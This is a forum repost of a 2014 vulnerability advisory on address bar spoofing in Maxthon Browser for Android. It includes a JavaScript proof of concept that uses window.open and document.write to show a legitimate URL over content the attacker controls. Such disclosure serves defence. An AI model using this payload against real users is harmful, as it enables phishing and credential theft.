Aerosol Posted December 30, 2014 Report Posted December 30, 2014 Product: Maxthon Browser#Vulnerability: Address Bar Spoofing Vulnerability#Impact: Moderate#Authors: Rafay Baloch#Company: RHAinfoSEC#Website: http://rafayhackingarticles.net*Introduction*Maxthon browser for Android was prone to an "Address Bar Spoofing"vulnerability wdue to mishandling of javaScript's window.open functionwhich is used to open a secondary browser window. This could be exploitedby tricking the users into supplying senstive information such asusername/passwords etc due to the fact that the address bar would display alegitimate URL, however it would be hosted on the attacker's page.*POC*Following is the POC that could be used to reproduce the issue:<script> document.getElementById('one').onclick = function() {myWindow=window.open('http://rafayhackingarticles.net/','RHA','width=300,height=300,location=yes');myWindow.document.write("<html><head></head><body><b>This page is stillbeing hosted another domain, however the domain is pointing torafayhackingarticles.net.</b><br><br><iframe src=\"http://www.rafayhackingarticles.net/\");></iframe></scri+pt></body></html>");myWindow.focus(); return false; } </script>*impact*The issue could be abused to carry out more effective phishing attacksagainst it's users.*Fix*We tried to contact the vendor several times however we did not recieve anyresponseSource Quote
